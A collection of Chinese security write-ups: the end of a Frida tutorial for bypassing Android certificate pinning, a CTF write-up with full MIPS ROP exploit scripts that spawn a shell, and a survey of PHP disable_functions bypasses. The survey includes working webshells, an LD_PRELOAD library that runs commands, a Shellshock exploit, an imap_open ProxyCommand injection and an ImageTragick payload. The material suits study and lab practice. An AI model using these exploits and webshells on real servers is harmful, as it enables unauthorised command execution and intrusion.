我们将'fridascript.js'注入目标应用程序.
#### I.将fridascript.js推入设备：
将fridascript.js复制到adb文件夹并运行以下命令将fridascript.js推送到设备中。
//adb push <path_to_fridascript.js_folder> /data/local/tmp
adb push C:\ADB\fridascript.js /data/local/tmp
#### II.检查并运行设备中的frida服务器
adb shell /data/local/tmp/frida-server &
这将把frida-server运行到设备中。也许你不会在终端获得这个命令的任何输出。
#### III.列出设备上的所有正在运行的服务
现在，我们需要找出目标应用程序的ID。我们将列出设备上所有正在运行的服务，包括您的申请流程
打开新终端并输入以下命令：`frida-ps -U`
#### IV.找到您的应用程序包的名称
#### V.将fridascript.js注入到目标应用程序中：
最后，我们将使用以下命令将fridascript.js注入到本机应用程序中：
//frida -U -f <your_application_package_name> <path_to_fridascript.js_on_your_computer> --no-paus
frida -U -f com.twitter.com D:\ADB\fridascript.js --no-paus
#### VI. Bypassed!!
一旦所有事情顺利进行，目标应用程序的所有流量都将被拦截到BurpSuite中。只要我们拦截进入BurpSuite的流量，我们就需要保持frida服务器的运行。
### 8.总结
1. 在genymotion上下载并安装设备
2. 安装frida和主要工具
python -m pip install Frida
python -m pip install frida-tools
python -m pip install objection
or
pip install Frida
pip install frida-tools
pip install objection
3. 下载adb平台工具
4. 下载frida注入脚本
5. 将设备连接到adb
//adb connect <ip of device:port>
6. 下载frida服务器以获取支持的Android设备的arch版本
7. 找出设备的arch版本
adb shell getprop ro.product.cpu.abi
1. 在设备中安装目标应用程序。
2. 将frida-server推入设备：
//adb push <path folder="" frida-server=""
of=""><space></data/local/tmp></space></path>
3. 授予frida-server权限：
adb shell chmod 777 /data/local/tmp/frida-server
4. 设置burpsuite
5. 推送代理的CA证书
// adb push <path to cacert.der> /data/local/tmp/cert-der.crt
6. 将fridascript.js推入设备：
//adb push <path to fridascript.js folder> /data/local/tmp
7. 检查并运行设备中的frida服务器
adb shell /data/local/tmp/frida-server &
8. 列出设备上所有正在运行的进程：
frida-ps -U
9. 找到应用程序的包名
10. 将fridascript.js注入到目标应用程序中
//frida -U -f <your_application_package_name>
<path_to_fridascript.js_on_your_computer> — no-paus</your_application_package_name>
11. 拦截BurpSuite的流量
### 9.故障排除
#### 1.ADB连接失败
如果你收到这样的错误：
adb devices
adb server is out of date. killing...
cannot bind 'tcp:5037'
ADB server didn't ACK
*failed to start daemon*
error:
i. 打开环境系统属性--->高级--->环境变量
ii.单击路径并删除 C:/Android或adb工具指向的路径
iii.将所有平台工具复制到genymotion--->tools文件夹中
。创建新路径并添加genymotion--->tools文件夹的路径.
#### 2\. frida/pip不被认为是内部或外部命令
i.打开环境系统属性--->高级--->环境变量
ii.创建新路径并添加Python--->script文件夹的路径
#### 3.将应用程序安装到设备时出现错误
i.[下载转换文件](https://androidfilehost.com/?fid=23252070760974384)
ii.将文件拖放到设备模拟器中或从恢复中刷新此文件。重启设备，你就可以拖放安装目标应用程序
#### 4.产生失败
出现Android应用程序时不支持'argv'选项
检查计算机上的fridascript.js路径。路径可能不正确。
#### 5.启动frida服务器但无法列出服务
断开并重新连接设备中的wifi。 | 社区文章 |
# 从网鼎杯(第四场)的两题MIPS PWN谈起
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 start
调试`mips`就首先要有个`mips`的环境，推荐[mips
qcow2](https://people.debian.org/~aurel32/qemu/mips)
下载完成后用`qemu mips`起，`apt-get`安装好需要的相关工具
#!/bin/bash
qemu-system-mips -M malta
-kernel vmlinux-3.2.0-4-4kc-malta
-hda debian_wheezy_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-netdev user,id=net0
-device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27
-net user -redir tcp:2222::22 -redir tcp:22333::22333 -redir tcp:1234::1234
## 0x002 基础知识
查阅相关资料可以得知，`mips`寄存器作用，和函数调用时候的一些信息。
* `a0-a3`: 存储参数
* `fp`: `fram pointer`，用来恢复栈之类的操作，可以理解为和`ebp`差不多的作用
* `sp`: 存储栈地址
* `v0...`: 存储一些变量或地址
* `t8,t9`: 临时寄存器，`t9`常常用来调用函数。如`alarm`的`plt`调用如下
.plt:00400820 alarm:
.plt:00400820 3C 0F 00 41 lui $t7, 0x41 # 'A'
.plt:00400824 8D F9 14 44 lw $t9, off_411444
.plt:00400828 03 20 00 08 jr $t9
.plt:0040082C 25 F8 14 44 addiu $t8, $t7, (off_411444 - 0x410000)
需要主要的是`jr, jalr`等跳转指令有个特点
它会先执行跳转指令的后一条指令，然后再跳转。
## 0x003 reverse
程序关键的地方在`0x400C30`，其他地方的话过一下就清楚是干什么的。
### check
对程序进行分析，首先`checksec`，最好用`mips`环境的`gdb`来查看，`x86`的`gdb`看会有些问题
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
开了`NX`，`libc`库也是随机加载的。
### vuln
漏洞点很容易发现，在`0x400FF8`，往栈上读了`0x400`字节，但实际上缓冲区没这么大。
.text:00400C30 var_3C = -0x3C
.text:00400C30 var_38 = -0x38
.text:00400C30 var_34 = -0x34
.text:00400C30 var_30 = -0x30
.text:00400C30 var_14 = -0x14
.text:00400C30 var_10 = -0x10
.text:00400C30 var_C = -0xC
.text:00400C30 var_8 = -8
; ....
.text:00400FEC addiu $v0, $fp, 0xD8+var_30
.text:00400FF0 move $a0, $v0
.text:00400FF4 li $a1, 0x400
.text:00400FF8 jal readn_400B38
.text:00400FFC move $at, $at
> `readn_400B38`是一个字节一个字节的读，读到回车或者到了`0x400-1`就返回。
### 逻辑
漏洞很好找，那么我们就需要到达漏洞点。
`0x400C30`中逻辑如下：
1. 栈上一片缓冲区初始化为`0x401364`等地方的字符串，计为`alph0`。(`We, are`等)
2. 循环8次，每次随机选`alph0[len(alph0)/2:]`和`alph0[:len(alph0)/2]`两个部分的一个串交换。
3. 又一个循环，每次将我们的输入字符串和`alph0[i]`比较(每次都比较到我们输对了为止)
4. 计算`3`所用时间是不是小于`3s`，如果成立，就让我们到达漏洞点输入`0x400`
### 爆破
关于如何输对字符串，我们可以调试看看字符串变成什么样子，然后爆破，通过测试，字符串序列可以如下：
guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]
for c in range(11, 0x100):
guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
guesslist.append("hakker"+chr(c)+"d")
## 0x004 rop
由于对`mips`不熟悉，在这里卡了挺久。
### ipowtn(without libc)
**sigh**
开始看到`0x400A9C`的`system("/bin/sh")`很高兴，但是地址是带`x0A`，不能直接跳过去。
所以就要设置参数`a0`为`"/bin/sh"`，然后跳到`system`，但是`MIPS`的`rop`没有直接能设置参数的
> 如`0x00401208: move $a0, $s3; move $a1, $s4; jalr
> $t9;`，要设置`t9`，但是并没有合适的`gadget`。
**debug**
.text:00401200 lw $t9, 0($s1)
.text:00401204 addiu $s0, 1
.text:00401208 move $a0, $s3
.text:0040120C move $a1, $s4
.text:00401210 jalr $t9
.text:00401214 move $a2, $s5
.text:00401218 sltu $v0, $s0, $s2
.text:0040121C bnez $v0, loc_401200
.text:00401220 addiu $s1, 4
.text:00401224
.text:00401224 loc_401224: # CODE XREF: __libc_csu_init+60↑j
.text:00401224 lw $ra, 0x38+var_4($sp)
.text:00401228 lw $s5, 0x38+var_8($sp)
.text:0040122C lw $s4, 0x38+var_C($sp)
.text:00401230 lw $s3, 0x38+var_10($sp)
.text:00401234 lw $s2, 0x38+var_14($sp)
.text:00401238 lw $s1, 0x38+var_18($sp)
.text:0040123C lw $s0, 0x38+var_1C($sp)
.text:00401240 jr $ra
.text:00401244 addiu $sp, 0x38
`__libc_csu_init+60`里面直接设置好参数，然后跳转到`0x00401200`，然后`jalr
$t9`调用`system[@got](https://github.com/got "@got")`。
然而，实际上会发现，`jalr $t9`之后并没有进真实到`system`，调的是`read`。
Breakpoint 3, 0x77f860f4 in ?? () from /lib/ld.so.1
gdb-peda$ x/10i $pc
=> 0x77f860f4: jr t9
gdb-peda$ x/4i $t9
0x77ec9bf8 <read>: lui gp,0xa
0x77ec9bfc <read+4>: addiu gp,gp,23928
0x77ec9c00 <read+8>: addu gp,gp,t9
0x77ec9c04 <read+12>: 0x7c03e83b
t8 t9 k0 k1 gp sp s8 ra
R24 f0000000 77ec9bf8 00000000 00000000 77fa7000 7fd7f0f8 00411420 00401218
了解`libc`库函数加载的都知道第一次掉没有调的函数前会有`ld`链接的操作，最后再跳到真正的`libc`地址。
我们看看`system[@plt](https://github.com/plt "@plt")`
.plt:00400840 lui $t7, 0x41 # 'A'
.plt:00400844 lw $t9, off_41144C
.plt:00400848 jr $t9
.plt:0040084C addiu $t8, $t7, (off_41144C - 0x410000)
刚开始不是很理解我们`jalr $t9`调用`*system[@got](https://github.com/got "@got")`和这里有什么区别
但是仔细理解`jr`指令就发现`system[@plt](https://github.com/plt "@plt")`是先`addiu $t8, $t7,
(off_41144C - 0x410000)`，再跳转，`t8`之后用来计算出真正的`system`偏移。
而在我们`jalr $t9`调`*system[@got](https://github.com/got
"@got")`时，`t8`是`0x411430`，就是`read[@got](https://github.com/got "@got")`。
那么我们要调用`system`，要么设置好`t8`再跳`*system[@got](https://github.com/got
"@got")`，要么直接跳`system[@plt](https://github.com/plt
"@plt")`。由于`mips`的`gadget`不像`x86`那么随意，还是跳`system[@plt](https://github.com/plt
"@plt")`比较容易。
**trick**
`.text:00401210 jalr $t9` 之后还有一个`gadget`，我们很容易使得`.text:00401240 jr
$ra`的`$ra`为`system[@plt](https://github.com/plt "@plt")`，接下来就是参数。
其实我们可以发现，`jalr $t9`调用之后，`a0`是不变的，因为函数的返回值存在`v0,v1`里面。
所以我们可以直接在栈上再布好`gadget`
1. `0x00401224`设置好`s0-s5`
2. `0x00401200`配好函数参数调用假的`system`，之后`a0`还是指向我们设置到值
3. 程序往下走到`0x00401224`，设置`$ra`到`plt[@system](https://github.com/system "@system")`，调用真正的`system`
**exp**
#coding: utf-8
from pwn import *
import sys
LOCAL = True
context.arch = 'mips'
context.endian = 'big'
sysshell = 0x400A9C
if LOCAL:
elf = ELF("./ipowtn")
#io = remote("10.211.55.3", 22333)
io = remote("127.0.0.1", 22333)
#context.log_level = True
else:
io = remote("106.75.64.188", 18067)
#context.log_level = True
guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]
for c in range(11, 0x100):
guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
guesslist.append("hakker"+chr(c)+"d")
#context.log_level = 'debug'
#pause()
flg_success = 0
timesp = 0
def guessn():
global flg_success
global timesp
if timesp > 20000:
io.close()
sys.exit(0)
for gstr in guesslist:
#print "testing", gstr
if len(gstr) >= 8:
#pause()
io.send(gstr)
else:
io.sendline(gstr)
try:
data = io.recvline(timeout=0.1)
timesp += 1
#data = io.recvline()
if len(data) > 5 and "guess it!!!!!!" in data:
continue
elif len(data) >= 1 and len(data)<=4:
log.success("guess over!!!!!!!!!!")
return 1
else:
flg_success += 1
log.success("ok is "+gstr)
if flg_success >= 9:
return 1
else:
return 0
except:
return 0
finally:
pass
log.info("starting guess")
while True:
#pause()
if guessn() == 1:
break
io.recvuntil("... go!n")
payload = 0x20*chr(0)
payload += p32(0x411420) # fp
payload += p32(0x401224)
payload += 'b'*0x24
# s0 s1 s2 s3 s4 s5 ra
#payload += p32(0) + p32(0x411438) + p32(1) + p32(0x401320) + p32(0) + p32(0)
# system got
payload += p32(0) + p32(0x41144C) + p32(1) + p32(0x401320) + p32(0) + p32(0)
# 0x00401200: lw $t9, ($s1); addiu $s0, $s0, 1; move $a0, $s3; move $a1, $s4; jalr $t9;
payload += p32(0x00401200) # ra
payload += 0x34*chr(0)
payload += p32(0x400840) # plt system
pause()
io.sendline(payload)
pause()
io.interactive()
### ipowtn_reborn(with libc)
第二题后来看了，和第一个的区别就是没有`system`在`got`里。所以需要泄漏`libc`并且在`libc`里找`system`字符串。
比赛也结束了，所以我就直接用自己的`libc`搞搞了。
**emmmm…**
我的方法并没有用第一个题的方法去调`printf`，而是直接跳到`0x400F0C`，原因是这里
.text:00400F0C 02 00 20 21 move $a0, $s0 # format
.text:00400F10 44 07 A0 00 mfc1 $a3, $f20
.text:00400F14 44 06 A8 00 mfc1 $a2, $f21
.text:00400F18 0C 10 01 F0 jal printf
`s0`直接就是我们第一个参数，我们在第一次栈溢出的时候就可以设置了。
而且跳到这里还有好处就是泄漏完了，立马再进行栈溢出。`libc`的`rop`相对来说就为所欲为了。具体可以参考`exp`。
**exp**
#coding: utf-8
from pwn import *
import sys
LOCAL = True
context.arch = 'mips'
context.endian = 'big'
sysshell = 0x400A9C
if LOCAL:
elf = ELF("./ipowtn_reborn")
#io = remote("10.211.55.3", 22333)
io = remote("127.0.0.1", 22333)
#context.log_level = True
else:
io = remote("106.75.64.188", 18067)
#context.log_level = True
guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]
for c in range(11, 0x100):
guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
guesslist.append("hakker"+chr(c)+"d")
#context.log_level = 'debug'
#pause()
flg_success = 0
timesp = 0
def guessn():
global flg_success
global timesp
if timesp > 20000:
io.close()
sys.exit(0)
for gstr in guesslist:
#print "testing", gstr
if len(gstr) >= 8:
#pause()
io.send(gstr)
else:
io.sendline(gstr)
try:
data = io.recvline(timeout=0.1)
timesp += 1
#data = io.recvline()
if len(data) > 5 and "guess it!!!!!!" in data:
continue
elif len(data) >= 1 and len(data)<=4:
log.success("guess over!!!!!!!!!!")
return 1
else:
flg_success += 1
log.success("ok is "+gstr)
if flg_success >= 9:
return 1
else:
return 0
except:
return 0
finally:
pass
log.info("starting guess")
while True:
#pause()
if guessn() == 1:
break
io.recvuntil("... go!n")
bss_addr = 0x4113C0
# 0x00400788: lw $ra, 0x1c($sp); move $at, $at; jr $ra;
payload = 0x1c*chr(0)
payload += p32(elf.got["puts"]) # s0
payload += p32(bss_addr) # fp
# printf
payload += p32(0x400F0C) # ra
io.sendline(payload)
data = io.recv(4)
puts_addr = u32(data)
log.info("puts address: " + hex(puts_addr))
puts_offset = 0x6DEE0
lk_stack_offset = 0x1873A4
libc = ELF("../mipwn/libc-2.13.so")
libc.address = puts_addr - puts_offset
log.success("libc address is " + hex(libc.address))
io.recvuntil("... go!n")
binsh_addroff = 0x16516C
system_off = 0x41DA0
log.info("system address: " + hex(system_off+libc.address))
payload = 'a'*0x1c
payload += p32(binsh_addroff+libc.address) # s0 /bin/sh
payload += p32(bss_addr) # fp
# 0x000ef2fc: move $a0, $s0; lw $ra, 0x1c($sp); lw $s0, 0x18($sp); jr $ra;
# 0x0006e630: move $a0, $s0; lw $ra, 0x2c($sp); lw $s0, 0x28($sp); jr $ra;
payload += p32(0x000ef2fc+libc.address) # ra
payload += 0x24*chr(0)
# 0x13F198: lw $t9, 0xa0($sp); sw $t0, 0x18($sp); jalr $t9;
log.info("at "+hex(0x13F198+libc.address))
payload += p32(0x13F198+libc.address) # ra
payload += 160*chr(0)
payload += p32(system_off+libc.address)
pause()
io.sendline(payload)
pause()
io.interactive()
## 0x005 Summary
总的来说，就是包了个`mips`的栈溢出，其实不难，但是比赛的时候不熟悉，环境也没有，赛后查指令做了一天。。 | 社区文章 |
## 前言
前几个月在某行动中发现webshell执行命令返回`ret=127`，听前辈说起这是由于disable_functions的限制,到暑假才又想起这个事,特此总结与复现了一些bypass的姿势.如有错误，请师傅们不吝赐教。
## disable_functions
disable_functions是php.ini中的一个设置选项，可以用来设置PHP环境禁止使用某些函数，通常是网站管理员为了安全起见，用来禁用某些危险的命令执行函数等。
比如拿到一个webshell,用管理工具去连接,执行命令发现`ret=127`,实际上就是因为被这个限制的原因
## 黑名单
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
观察php.ini 中的 disable_function 漏过了哪些函数，若存在漏网之鱼，直接利用即可。
## 利用Windows组件COM绕过
查看`com.allow_dcom`是否开启,这个默认是不开启的。
创建一个COM对象,通过调用COM对象的`exec`替我们执行命令
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
## 利用Linux环境变量LD_PRELOAD
### 初阶
LD_PRELOAD是linux系统的一个环境变量，它可以影响程序的运行时的链接，它允许你定义在程序运行前优先加载的动态链接库。
总的来说就是=`LD_PRELOAD`指定的动态链接库文件，会在其它文件调用之前先被调用，借此可以达到劫持的效果。
思路为:
1. 创建一个.so文件,linux的动态链接库文件
2. 使用putenv函数将`LD_PRELOAD`路径设置为我们自己创建的动态链接库文件
3. 利用某个函数去触发该动态链接库
这里以`mail()`函数举例。
在底层c语言中,`mail.c`中会调用`sendmail`，而sendmail_path使从ini文件中说明
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
默认为"sendmail -t -i"
但是sendmail并不是默认安装的,需要自己下载
使用命令`readelf -Ws /usr/sbin/sendmail`可以看到sendmail调用了哪些库函数,这里选择`geteuid`
创建一个`test.c`文件,并定义一个`geteuid`函数,目的是劫持该函数。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("whoami > /var/tmp/sd.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
使用gcc编译为.so文件
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so
这里有个坑:不要在windows上编译,编译出来是`MZ`头,不是`ELF`。
然后再上传test.so到指定目录下。
最后创建`shell.php`文件,上传到网站目录下,这里.so文件路径要写对。
<?php
putenv("LD_PRELOAD=/var/www/test.so");
mail("","","","","");
?>
再理一下整个过程:当我们访问shell.php文件的时候,先会将`LD_PRELOAD`路径设置为恶意的.so文件，然后触发mail()函数,mail函数会调用sendmail函数,sendmail函数会调用库函数geteuid,而库函数geteuid已经被优先加载,这时执行geteuid就是执行的我们自己定义的函数,并执行payload(),也就是代码中的`whoami`命令写入到sd.txt中。
由于拿到的webshell很有可能是`www-data`这种普通权限。
整个过程要注意权限问题,要可写的目录下。
web访问页面没有文件写出,可以看看定义的目录是否有权限。
### 进阶版
在整个流程中,唯一担心的是sendmail没有安装怎么办,它可不是默认安装的,而拿到的webshell权限一般也不高,无法自行安装,也不能改php.ini。
而有前辈早已指出:[无需sendmail：巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/web/192052.html)
细节已经说的非常明白,这里只复现,在此不再画蛇添足。
去github下载三个重要文件:
bypass_disablefunc.php,bypass_disablefunc_x64.so或bypass_disablefunc_x86.so,bypass_disablefunc.c
将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so传到目标有权限的目录中。
这里很有可能无法直接上传到web目录,解决办法就是上传到有权限的目录下,并用include去包含。
这里我已经卸载了sendmail文件
注意区分post和get
## 利用PHP7.4 FFI绕过
FFI（Foreign Function
Interface），即外部函数接口，允许从用户区调用C代码。简单地说，就是一项让你在PHP里能够调用C代码的技术。
当PHP所有的命令执行函数被禁用后，通过PHP
7.4的新特性FFI可以实现用PHP代码调用C代码的方式，先声明C中的命令执行函数，然后再通过FFI变量调用该C函数即可Bypass
disable_functions。
具体请参考[Foreign Function Interface](https://www.php.net/manual/en/book.ffi.php)
当前php版本为7.4.3
先看FFI是否开启,并且ffi.enable需要设置为true
使用FFI::cdef创建一个新的FFI对象
通过c语言的system去执行,绕过disable functions。
将返回结果写入/tmp/SD，并在每次读出结果后用unlink()函数删除它。
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>
## 利用Bash Shellshock(CVE-2014-6271)破壳漏洞
利用条件php < 5.6.2 & bash <= 4.3（破壳）
Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。
简单测试是否存在破壳漏洞:
命令行输入`env x='() { :;}; echo vulnerable' bash -c "echo this is a test"`
如果输出了`vulnerable`，则说明存在bash破壳漏洞
[EXP](https://www.exploit-db.com/exploits/35146)如下:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
选择可上传目录路径,上传exp
包含文件执行
## 利用imap_open()绕过
利用条件需要安装iamp扩展,命令行输入:`apt-get install php-imap`
在php.ini中开启imap.enable_insecure_rsh选项为On；重启服务。
基本原理为:
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接，则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能，攻击者可利用这些功能在目标系统上执行任意shell命令。
EXP:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
## 利用Pcntl组件
如果目标机器安装并启用了php组件Pcntl,就可以使用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,也算是过黑名单的一钟,比较简单。
[exp](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/pcntl_exec/exp.php)为:
#pcntl_exec().php
<?php pcntl_exec("/bin/bash", array("/tmp/b4dboy.sh"));?>
#/tmp/b4dboy.sh
#!/bin/bash
ls -l /
## 利用ImageMagick 漏洞绕过(CVE-2016–3714)
利用条件:
* 目标主机安装了漏洞版本的imagemagick（<= 3.3.0）
* 安装了php-imagick拓展并在php.ini中启用；
* 编写php通过new Imagick对象的方式来处理图片等格式文件；
* PHP >= 5.4
### ImageMagick介绍
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF、JPEG、GIF、
PNG、PDF以及PhotoCD等格式。众多的网站平台都是用他渲染处理图片。可惜在3号时被公开了一些列漏洞,其中一个漏洞可导致远程执行代码(RCE),如果你处理用户提交的图片。该漏洞是针对在野外使用此漏洞。许多图像处理插件依赖于ImageMagick库,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
产生原因是因为字符过滤不严谨所导致的执行代码. 对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
据ImageMagick官方，目前程序存在一处远程命令执行漏洞（CVE-2016-3714），当其处理的上传图片带有攻击代码时，可远程实现远程命令执行，进而可能控制服务器，此漏洞被命名为ImageTragick。
[EXP](https://www.exploit-db.com/exploits/39766)如下:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
漏洞原理参考p牛文章:<https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html>
### 漏洞复现
获取和运行镜像
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
访问`phpinfo.php`,发现开启了imagemagick服务
进入容器:`docker run -t -i medicean/vulapps:i_imagemagick_1 "/bin/bash"`
查看`poc.php`,这其实是已经写好的poc,执行命令就是`ls -la`
验证poc,在容器外执行`docker exec i_imagemagick_1 convert /poc.png 1.png`
poc可自行构建
## 利用 Apache Mod CGI
利用条件:
* Apache + PHP (apache 使用 apache_mod_php)
* Apache 开启了 cgi, rewrite
* Web 目录给了 AllowOverride 权限
### 关于mod_cgi是什么
<http://httpd.apache.org/docs/current/mod/mod_cgi.html>
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行，它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本，一种是文件具有已由AddType指令定义的扩展名，另一种是文件位于ScriptAlias目录中。
当Apache 开启了cgi,
rewrite时，我们可以利用.htaccess文件，临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序，则可以在目的目录下使用.htaccess文件进行配置。
### 如何利用
由于环境搭建困难,使用蚁剑的[docker](https://github.com/AntSwordProject/AntSword-Labs)
在web目录下上传`.htaccess`文件
Options +ExecCGI
AddHandler cgi-script .ant
上传shell.ant
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id
由于目标是liunx系统,linux中CGI比较严格。这里也需要去liunx系统创建文件上传,如果使用windows创建文件并上传是无法解析的。
直接访问shell.xxx ,这里报错,是因为权限的问题
直接使用蚁剑修改权限
复现成功
## 利用攻击PHP-FPM
利用条件
* Linux 操作系统
* PHP-FPM
* 存在可写的目录, 需要上传 .so 文件
关于什么是PHP-FPM,这个可以看<https://www.php.cn/php-weizijiaocheng-455614.html>
关于如何攻击PHP-FPM,请看这篇[浅析php-fpm的攻击方式](https://xz.aliyun.com/t/5598)
蚁剑环境
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/5
docker-compose up -d
连接shell后无法执行命令
查看phpinfo,发现目标主机配置了`FPM/Fastcgi`
使用插件
要注意该模式下需要选择 PHP-FPM 的接口地址，需要自行找配置文件查 FPM 接口地址，本例中PHP-FPM 的接口地址，发现是
127.0.0.1:9000,所以这里改为127.0.0.1：9000
但是这里我死活利用不了
这里换了几个版本还是不行，但看网上师傅利用是没问题的
有感兴趣想复现师傅看这里:<https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5>
## 利用 GC UAF
利用条件
* Linux 操作系统
* PHP7.0 - all versions to date
* PHP7.1 - all versions to date
* PHP7.2 - all versions to date
* PHP7.3 - all versions to date
[EXP](https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php)
[关于原理](http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/04/19/PHP%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%A0%B4%E5%9D%8F%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0\(1st)/)
通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令。
搭建环境
cd AntSword-Labs/bypass_disable_functions/6
docker-compose up -d
受到disable_function无法执行命令
使用插件成功执行后弹出一个新的虚拟终端，成功bypass
## 利用 Json Serializer UAF
利用条件
* Linux 操作系统
* PHP7.1 - all versions to date
* PHP7.2 < 7.2.19 (released: 30 May 2019)
* PHP7.3 < 7.3.6 (released: 30 May 2019)
[利用漏洞](https://bugs.php.net/bug.php?id=77843)
[POC](https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php)
上传POC到`/var/tmp`目录下
包含bypass文件
也可以稍作修改
当然使用插件是最简单的
## 利用Backtrace UAF
利用条件
* Linux 操作系统
* PHP7.0 - all versions to date
* PHP7.1 - all versions to date
* PHP7.2 - all versions to date
* PHP7.3 < 7.3.15 (released 20 Feb 2020)
* PHP7.4 < 7.4.3 (released 20 Feb 2020)
[利用漏洞](https://bugs.php.net/bug.php?id=76047)
[EXP](https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
## 利用iconv
利用条件
* Linux 操作系统
* `putenv`
* `iconv`
* 存在可写的目录, 需要上传 `.so` 文件
利用原理分析<https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/>
利用复现:
获得镜像
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/9
docker-compose up -d
无法执行命令
